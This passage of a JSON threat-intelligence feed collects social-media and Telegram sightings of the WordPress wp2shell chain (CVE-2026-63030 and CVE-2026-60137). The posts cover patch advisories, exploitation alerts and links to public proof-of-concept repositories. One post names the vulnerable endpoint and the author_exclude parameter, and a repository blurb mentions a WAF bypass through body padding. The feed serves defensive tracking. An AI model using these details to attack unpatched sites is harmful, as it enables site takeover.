\u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 WordPress \u0432\u0435\u0440\u0441\u0438\u0439 6.9.0-6.9.4 \u0438 WordPress \u0432\u0435\u0440\u0441\u0438\u0439 7.0.0-7.0.1.\n\nSQL-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 WordPress \u0432\u0435\u0440\u0441\u0438\u0439 6.8.0\u20136.8.5, \u043d\u043e \u0435\u0451 \u043d\u0435\u043b\u044c\u0437\u044f \u0441\u0432\u044f\u0437\u0430\u0442\u044c \u0441 RCE, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043e\u0448\u0438\u0431\u043a\u0430, \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0449\u0430\u044f \u043a \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u0435 \u043f\u0440\u0438 \u043f\u0430\u043a\u0435\u0442\u043d\u043e\u0439 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u0438 REST API, \u043f\u043e\u044f\u0432\u0438\u043b\u0430\u0441\u044c \u043b\u0438\u0448\u044c \u0432 WordPress 6.9.\n\nSearchlight Cyber \u0432 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u043d\u0435 \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0430\u0435\u0442 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438, \u0432\u043c\u0435\u0441\u0442\u043e \u044d\u0442\u043e\u0433\u043e \u0441\u043e\u0437\u0434\u0430\u043b\u0430 wp2shell.com, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c, \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u043b\u0438 \u0438\u0445 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 WordPress.\n\n\u041e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u043c, \u043d\u0435 \u0438\u043c\u0435\u044e\u0449\u0438\u043c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u0443, Searchlight Cyber \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u043b\u0430\u0433\u0438\u043d, \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u044e\u0449\u0435\u0433\u043e \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a REST API \u0438\u043b\u0438 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c /wp-json/batch/v1 \u0438 ?rest_route=/batch/v1 \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 WAF.\n\nCloudflare \u0442\u0430\u043a\u0436\u0435 \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u0438 \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u043e\u0431\u0435\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e WAF \u043d\u0430 \u0432\u0441\u0435\u0445 \u0442\u0430\u0440\u0438\u0444\u043d\u044b\u0445 \u043f\u043b\u0430\u043d\u0430\u0445, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0431\u0435\u0441\u043f\u043b\u0430\u0442\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 \u0435\u0435 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0443 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043f\u0440\u043e\u043a\u0441\u0438-\u0441\u0435\u0440\u0432\u0435\u0440\u0430.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Cloudflare, \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u044e\u0442 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043a\u0430\u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0439 (CVE-2026-60137), \u0442\u0430\u043a \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0430\u043a\u0435\u0442\u043d\u043e\u0439 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u0438 REST API (CVE-2026-63030). \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0437\u0430\u0449\u0438\u0442\u0430 WAF \u0441\u043d\u0438\u0436\u0430\u0435\u0442 \u0440\u0438\u0441\u043a\u0438 \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043d\u043e \u043d\u0435 \u0437\u0430\u043c\u0435\u043d\u044f\u0435\u0442 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0443 \u043f\u0430\u0442\u0447\u0435\u0439.", "url": "https://t.me/true_secator/8423"}, {"timestamp": "2026-07-20T14:02:36.945Z", "date_only": false, "value": "2026-07-20T14:02:36.945417Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/kotosecurity.bsky.social/post/3mr3hhweoa524", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "ef4de873-0006-4325-a1dc-392f50339683", "content": "\ud83d\udee1\ufe0f VULN: WordPress 'wp2shell' pre-auth RCE (CVE-2026-63030 + CVE-2026-60137, chained) now has public exploits targeting 6.9.x/7.0.x. Attackers can run code unauthenticated. If you run WordPress, apply the emergency core patch immediately. Src: BleepingComputer", "url": "https://bsky.app/profile/kotosecurity.bsky.social/post/3mr3hhweoa524"}, {"timestamp": "2026-07-20T14:10:52.054Z", "date_only": false, "value": "2026-07-20T14:10:52.054031Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/technology-news.bsky.social/post/3mr3hwokmsq2n", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "d95538bf-b9a2-45b3-83d1-a64ea9763ff7", "content": "On July 17, 2026, a GitHub Security Advisory was published for CVE-2026-63030, a critical unauthenticated remote code execution vulnerability affecting WordPress Core.", "url": "https://bsky.app/profile/technology-news.bsky.social/post/3mr3hwokmsq2n"}, {"timestamp": "2026-07-20T14:34:49.687Z", "date_only": false, "value": "2026-07-20T14:34:49.687589Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/anssi-fr.bsky.social/post/3mr3jbd3dns2r", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "51659026-495d-4050-b69f-dd139ecb84a5", "content": "\u26a0\ufe0f Vuln\u00e9rabilit\u00e9 WordPress.\n\n\ud83d\udce2 Le CERT-FR a publi\u00e9 une alerte de s\u00e9curit\u00e9 concernant les vuln\u00e9rabilit\u00e9s CVE-2026-60137 et CVE-2026-63030 affectant WordPress.\n\nPlus d'informations sur :\n\u27a1\ufe0f www.cert.ssi.gouv.fr/alerte/CERTF...", "url": "https://bsky.app/profile/anssi-fr.bsky.social/post/3mr3jbd3dns2r"}, {"timestamp": "2026-07-20T15:00:03.769Z", "date_only": false, "value": "2026-07-20T15:00:03.769285Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/94317", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "7b3cff05-3868-4d4b-bede-f6a701542260", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell-cf-WAF-bypass\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a ASYquan\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-20 13:59:44\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nwp2shell PoC with Cloudflare WAF bypass via body padding (CVE-2026-63030)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94317"}, {"timestamp": "2026-07-20T15:09:05.966Z", "date_only": false, "value": "2026-07-20T15:09:05.966050Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/aegisbot.bsky.social/post/3mr3l6so5yk2k", "record": "cve-2026-63030", "field": "creation_timestamp", "uuid": "38c1d310-a011-40a1-b0ec-a04820fb6be8", "content": "\ud83d\udea8 CISA KEV [CVSS 9.8 \u00b7 CRITICAL]\nwp2shell (CVE-2026-63030, CVE-2026-60137): Frequently asked questions about remote code execution chain in WordPress Co\u2026\n\nhttps://www.tenable.com/blog/wp2shell-cve-2026-63030-cve-2026-60137-frequently-asked-questions-about-remote-code-execution\n\n#AISecurity #AI #CISA", "url": "https://bsky.app/profile/aegisbot.bsky.social/post/3mr3l6so5yk2k"}, {"timestamp": "2026-07-20T15:22:12.084Z", "date_only": false, "value": "2026-07-20T15:22:12.084198Z", "kind": "sighting", "label": "Seen", "source": "https://infosec.exchange/users/AAKL/statuses/116952985194975490", "record": "cve-2026-63030", "field": "creation_timestamp", "uuid": "059016b8-fbe2-4063-b7b3-cdbebc79bda2", "content": "New.\nPicus: CVE-2026-63030 and CVE-2026-60137 (wp2shell): WordPress RCE Explained https://www.picussecurity.com/resource/blog/cve-2026-63030-and-cve-2026-60137-wp2shell-wordpress-rce-explained #infosec #vulnerability #WordPress", "url": "https://infosec.exchange/users/AAKL/statuses/116952985194975490"}, {"timestamp": "2026-07-20T16:11:49.753Z", "date_only": false, "value": "2026-07-20T16:11:49.753065Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/aegisbot.bsky.social/post/3mr3ooy4ql22c", "record": "cve-2026-63030", "field": "creation_timestamp", "uuid": "e79455ea-63d8-4241-80e1-ac4c2ab9ff03", "content": "\ud83d\udea8 CISA KEV [CVSS 9.8 \u00b7 CRITICAL]\nwp2shell (CVE-2026-63030, CVE-2026-60137): Frequently asked questions about remote code execution chain in WordPress Co\u2026\n\nhttps://www.tenable.com/blog/wp2shell-cve-2026-63030-cve-2026-60137-frequently-asked-questions-about-remote-code-execution\n\n#AISecurity #AI #CISA", "url": "https://bsky.app/profile/aegisbot.bsky.social/post/3mr3ooy4ql22c"}, {"timestamp": "2026-07-20T16:53:40.037Z", "date_only": false, "value": "2026-07-20T16:53:40.037128Z", "kind": "sighting", "label": "Seen", "source": "https://infosec.exchange/users/wdormann/statuses/116953344790464812", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "6ae4a811-0ff2-4bbd-ad77-df9ebf75c49d", "content": "WordPress is used on plenty of websites these days. And unlike vulnerabilities in WordPress plugins, which seem to happen every hour of every day, a vulnerability in WordPress core is kind of a big deal.  This exploit must be doing something very clever, right?\nNo.\nThe endpoint reachable via /?rest_route=/batch/v1 simply takes an author_exclude argument and splats it into a SQL statement.  No need for fancy ' OR 1=1 -- stuff.  Just provide SQL to execute, and WordPress executes it.\nCVE-2026-60137 is this SQL injection stuff, which TBH would make WebGoat blush at. (Nobody would do this ITW)\nCVE-2026-63030 is the REST endpoint route confusion which allows an unauthenticated attacker to reach the vulnerable (to SQL injection) endpoint.\nAt the the point that you have anonymous SQL injection, there are a few steps to get RCE as the user that WordPress runs as.  Throw in any of the bazillion Linux LPEs out there and you can have an attack chain that compromises the entire system.\nOn the upside, the default install of WordPress has an auto-update mechanism enabled by default. And the check happens if it's been more than 12 hours since the last update check. And in the case of my vulnerable VM snapshot from the weekend, it will be updated automatically immediately on boot if it has internet connectivity.", "url": "https://infosec.exchange/users/wdormann/statuses/116953344790464812"}, {"timestamp": "2026-07-20T17:00:04.441Z", "date_only": false, "value": "2026-07-20T17:00:04.441114Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/94330", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "5a43c8ca-310b-49a0-91a5-4cb682e53cb4", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #RCE #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-63030-Wp2Shell\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a OffByOn3\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 4  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-20 14:57:27\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nWordPress REST API SQLi to RCE (CVE-2026-63030)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94330"}, {"timestamp": "2026-07-20T17:09:04.219Z", "date_only": false, "value": "2026-07-20T17:09:04.219426Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/aegisbot.bsky.social/post/3mr3rvbiccf2u", "record": "cve-2026-63030", "field": "creation_timestamp", "uuid": "adc7cd8e-0683-4f69-82ff-0d2a198c6ab2", "content": "\ud83d\udea8 CISA KEV [CVSS 9.8 \u00b7 CRITICAL]\nwp2shell (CVE-2026-63030, CVE-2026-60137): Frequently asked questions about remote code execution chain in WordPress Co\u2026\n\nhttps://www.tenable.com/blog/wp2shell-cve-2026-63030-cve-2026-60137-frequently-asked-questions-about-remote-code-execution\n\n#AISecurity #AI #CISA", "url": "https://bsky.app/profile/aegisbot.bsky.social/post/3mr3rvbiccf2u"}, {"timestamp": "2026-07-20T17:16:28.495Z", "date_only": false, "value": "2026-07-20T17:16:28.495679Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/arc-codex.com/post/3mr3sck6gce2g", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "90085ffc-2bbe-4fc1-a46f-5fed4a47af2e", "content": "wp2shell (CVE-2026-63030, CVE-2026-60137): Frequently asked questions about remote code execution chain in WordPress Core\n\n", "url": "https://bsky.app/profile/arc-codex.com/post/3mr3sck6gce2g"}, {"timestamp": "2026-07-20T17:17:55.031Z", "date_only": false, "value": "2026-07-20T17:17:55.031733Z", "kind": "sighting", "label": "Seen", "source": "https://mastodon.social/ap/users/115426718704364579/statuses/116953440193287169", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "a634580d-f753-48b3-b038-3af95778246a", "content": "\ud83d\udcf0 Critical Unauthenticated RCE Flaw Found in WordPress Core\nCritical unauthenticated RCE vulnerability (CVE-2026-63030) found in WordPress Core. Affects versions 6.9.x and 7.0.x. Allows full site takeover via REST API. Update to 6.9.5 or 7.0.2 now! #WordPress #CVE #RCE #PatchNow\n\ud83c\udf10 cyber[.]netsecops[.]io\n\ud83d\udd17 https://cyber.netsecops.io/articles/critical-unauthenticated-rce-flaw-in-wordpress-core-disclosed/?utm_source=mastodon&utm_medium=social&utm_campaign=daily", "url": "https://mastodon.social/ap/users/115426718704364579/statuses/116953440193287169"}, {"timestamp": "2026-07-20T17:18:38.020Z", "date_only": false, "value": "2026-07-20T17:18:38.020549Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/netsecio.bsky.social/post/3mr3sggpbrl2o", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "ed1cf306-7763-4cbf-8e45-9e3d149342c4", "content": "Critical unauthenticated RCE vulnerability (CVE-2026-63030) found in WordPress Core. Affects versions 6.9.x and 7.0.x. Allows full site takeover via REST API. Update to 6.9.5 or 7.0.2 now! #WordPress #CVE #RCE #PatchNow\n\n\ud83c\udf10 cyber[.]netsecops[.]io", "url": "https://bsky.app/profile/netsecio.bsky.social/post/3mr3sggpbrl2o"}, {"timestamp": "2026-07-20T18:00:04.352Z", "date_only": false, "value": "2026-07-20T18:00:04.352357Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/94345", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "f76a6a1d-aaf1-4cbe-a06e-9cf3fb85f023", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell-Wordpress-TOWN\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a lucifer0xf\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-20 16:28:28\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nUnauthenticated Remote Code Execution (RCE) in WordPress Core allows attackers to execute arbitrary code without logging in by chaining CVE-2026-63030 and CVE-2026-60137, potentially leading to full site compromise.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94345"}, {"timestamp": "2026-07-20T18:00:04.763Z", "date_only": false, "value": "2026-07-20T18:00:04.763333Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/FDMKvNPIu9DVJe1ShZsaOgvp3N-Hw55ecDYO_07oxLxjtOE", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "7bcc4567-b686-41c2-8b66-e649bd997a96"}, {"timestamp": "2026-07-20T18:00:04.784Z", "date_only": false, "value": "2026-07-20T18:00:04.784542Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/RHLoQF3MnQ9qYeeIhKqBRYjy8VV05b9o3seKN4xOHwR1X0Q", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "ff9df20e-7bb9-4da7-b992-dbe598567f20"}, {"timestamp": "2026-07-20T18:00:04.834Z", "date_only": false, "value": "2026-07-20T18:00:04.834589Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/ERt8GGFekkTS_ieiBVGmLfcxPIuM72rFTxS1aPb6SalOFNw", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "40d07a7a-a827-4fa1-96cc-34ac7a1ec01b"}, {"timestamp": "2026-07-20T18:00:04.910Z", "date_only": false, "value": "2026-07-20T18:00:04.910533Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/7QN-yomexEVAeqha0yNKbnerYmzkgN2GpF6YdYT1M1Re2HM", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "fc5074b4-24f8-4374-ae36-9f0ff09d6a62"}, {"timestamp": "2026-07-20T18:00:04.962Z", "date_only": false, "value": "2026-07-20T18:00:04.962865Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/aeP7rxdaeHgi9l7o5IqMQwPBOzJ-JvO8EcqSGGDOp43yc4w", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "7edc8cda-4a39-480d-928e-407f1d8e73cc"}, {"timestamp": "2026-07-20T18:00:05.012Z", "date_only": false, "value": "2026-07-20T18:00:05.012968Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/-tsdgXtCK0dD_W1pBbmwuICye5242ayZzZm7MPgngn8a5hw", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "1a1b4cdf-13d4-4c13-a393-2e61d20ebf79"}, {"timestamp": "2026-07-20T18:00:05.133Z", "date_only": false, "value": "2026-07-20T18:00:05.133289Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/9tpNlnwjVZVYwuWejBnBA-eWQSN8G2bIqRE_fuaoLBUZlFA", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "939c3e7f-2c0d-4bb9-8552-15bb3c439e6f"}, {"timestamp": "2026-07-20T18:00:05.176Z", "date_only": false, "value": "2026-07-20T18:00:05.176112Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/GffjtwLv5Ev0LKcMGfYUYxvQpOxZEWJ6VxOdkf-eQHOGbDI", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "cd303286-c86a-462a-b43d-77f932ec25fc"}, {"timestamp": "2026-07-20T18:00:05.275Z", "date_only": false, "value": "2026-07-20T18:00:05.275720Z", "kind": "sighting", "label": "Seen", "source": "Telegram/NvyRAPdfWiHuFnDgCWisEYzfqycyb2H27n16VkLUJ0UfwkQ", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "a8529e78-499d-45a0-80c4-456a4948d6a8"}, {"timestamp": "2026-07-20T18:00:05.323Z", "date_only": false, "value": "2026-07-20T18:00:05.323440Z", "kind": "sighting", "label": "Seen", "source": "Telegram/w6l8BPd9Q3GJFkZvi7YAaS3nfqUL8sbBpYE2TLByxwgM4Fc", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "844c7745-178a-4b98-8752-aa8f15a29429"}, {"timestamp": "2026-07-20T18:00:05.390Z", "date_only": false, "value": "2026-07-20T18:00:05.390866Z", "kind": "sighting", "label": "Seen", "source": "Telegram/JKu8MzOeWEiDh6Wy6ZRFCp9pX-H-YlUWAgYEZsV0JVERmls", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "6a125ae2-471a-492b-a2a3-887321632ba4"}, {"timestamp": "2026-07-20T18:00:05.689Z", "date_only": false, "value": "2026-07-20T18:00:05.689435Z", "kind": "sighting", "label": "Seen", "source": "Telegram/WNPKjULv0ephKNyiWQmiLebMVhKs5Yq19I9tIqi1CZzDTIM", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "17661d71-1147-4f2a-a89e-a7a8b78332e4"}, {"timestamp": "2026-07-20T18:00:05.737Z", "date_only": false, "value": "2026-07-20T18:00:05.737627Z", "kind": "sighting", "label": "Seen", "source": "Telegram/VNcCH5gAWr1JFL68o0sjgfBXXg-hp68b6HfdKkREhSwhrzw", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "a21331e1-11b6-4770-bb61-3ab61559819c"}, {"timestamp": "2026-07-20T18:00:05.807Z", "date_only": false, "value": "2026-07-20T18:00:05.807912Z", "kind": "sighting", "label": "Seen", "source": "Telegram/wmuqBBYe-mnc2Lte0TuOGY6tvODW7j8bP7QungiPmYWc0w0", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "aefb8c90-a6e8-4994-b61d-01b5413639ea"}, {"timestamp": "2026-07-20T18:00:05.852Z", "date_only": false, "value": "2026-07-20T18:00:05.852032Z", "kind": "sighting", "label": "Seen", "source": "Telegram/uumWHaZ1gN7bAvwXVT7WzY5HoAqs0x1gXuRvU8DEoe0NnjY", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "f37ba774-e118-4c51-8ecd-f4985aa1413d"}, {"timestamp": "2026-07-20T18:00:05.902Z", "date_only": false, "value": "2026-07-20T18:00:05.902669Z", "kind": "sighting", "label": "Seen", "source": "Telegram/c_Rzplsy8E2pteouDdziBYUOz2Zf4p3Unq7ANnF9Z7n20HM", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "cae61f2d-069e-40d8-9013-d0bd8f909134"}, {"timestamp": "2026-07-20T18:00:06.005Z", "date_only": false, "value": "2026-07-20T18:00:06.005790Z", "kind": "sighting", "label": "Seen", "source": "Telegram/CZBJvlZ1W3OH6fsaJgVtYfOnMMQCQpGY5IWdZ_FaTQwAkWo", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "48c97c66-cee8-41ff-ae90-d46b65b00f33"}, {"timestamp": "2026-07-20T18:00:06.136Z", "date_only": false, "value": "2026-07-20T18:00:06.136427Z", "kind": "sighting", "label": "Seen", "source": "Telegram/FAhkP69mP1IwQSaxAcFWZvu6CnSkNPg4O9iKi7h8BG1-uIM", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "546a7165-7efc-497c-ae84-b759b3e899aa"}, {"timestamp": "2026-07-20T18:09:19.772Z", "date_only": false, "value": "2026-07-20T18:09:19.772590Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/aegisbot.bsky.social/post/3mr3vb2zx3m2g", "record": "cve-2026-63030", "field": "creation_timestamp", "uuid": "d02132b5-f1f2-4c0d-adbc-9cc4893190e0", "content": "\ud83d\udea8 CISA KEV [CVSS 9.8 \u00b7 CRITICAL]\nwp2shell (CVE-2026-63030, CVE-2026-60137): Frequently asked questions about remote code execution chain in WordPress Co\u2026\n\nhttps://www.tenable.com/blog/wp2shell-cve-2026-63030-cve-2026-60137-frequently-asked-questions-about-remote-code-execution\n\n#AISecurity #AI #CISA", "url": "https://bsky.app/profile/aegisbot.bsky.social/post/3mr3vb2zx3m2g"}, {"timestamp": "2026-07-20T18:46:31.402Z", "date_only": false, "value": "2026-07-20T18:46:31.402517Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/sansisc.bsky.social/post/3mr3xdlbno225", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "98720ae6-e3c9-4de0-8400-be02e2e33800", "content": "WordPress Exploitation Underway (CVE-2026-63030) https://isc.sans.edu/diary/33168", "url": "https://bsky.app/profile/sansisc.bsky.social/post/3mr3xdlbno225"}, {"timestamp": "2026-07-20T19:08:29.506Z", "date_only": false, "value": "2026-07-20T19:08:29.506750Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/aegisbot.bsky.social/post/3mr3ykupw2p2e", "record": "cve-2026-63030", "field": "creation_timestamp", "uuid": "5549878c-6d52-4a84-ba07-11fcdabdffd9", "content": "\ud83d\udea8 CISA KEV [CVSS 9.8 \u00b7 CRITICAL]\nwp2shell (CVE-2026-63030, CVE-2026-60137): Frequently asked questions about remote code execution chain in WordPress Co\u2026\n\nhttps://www.tenable.com/blog/wp2shell-cve-2026-63030-cve-2026-60137-frequently-asked-questions-about-remote-code-execution\n\n#AISecurity #AI #CISA", "url": "https://bsky.app/profile/aegisbot.bsky.social/post/3mr3ykupw2p2e"}, {"timestamp": "2026-07-20T19:10:24.457Z", "date_only": false, "value": "2026-07-20T19:10:24.457559Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/undercodenews.bsky.social/post/3mr3yobnywl2u", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "ee7a8c1d-a6c7-480f-af9e-6cff7e8211d1", "content": "WordPress Under Siege: Critical CVE-2026-63030 Exploited in Active Attacks, Immediate Action Required +\u00a0Video\n\nIntroduction: A Dangerous New Chapter for WordPress Security WordPress has long been one of the most targeted platforms on the internet because it powers millions of websites worldwide.\u2026", "url": "https://bsky.app/profile/undercodenews.bsky.social/post/3mr3yobnywl2u"}, {"timestamp": "2026-07-20T19:21:53.188Z", "date_only": false, "value": "2026-07-20T19:21:53.188729Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/malwareobserver.bsky.social/post/3mr3zctbwj62d", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "2073e304-d83a-42dd-a3db-38668511664c", "content": "\ud83d\udc1b VULNERABILITIES WordPress Exploitation Underway (CVE-2026-63030), (Mon, Jul 20th) \u2014 SANS ISC\nhttps://isc.sans.edu/diary/rss/33168 #PatchManagement #Vulnerability #CVE", "url": "https://bsky.app/profile/malwareobserver.bsky.social/post/3mr3zctbwj62d"}, {"timestamp": "2026-07-20T19:26:20.676Z", "date_only": false, "value": "2026-07-20T19:26:20.676268Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/aegisbot.bsky.social/post/3mr3zks4pdj2e", "record": "cve-2026-63030", "field": "creation_timestamp", "uuid": "5eace508-97d9-4ad7-a8c6-daa9f34dff65", "content": "\ud83d\udc1b Exploitation in the Wild of 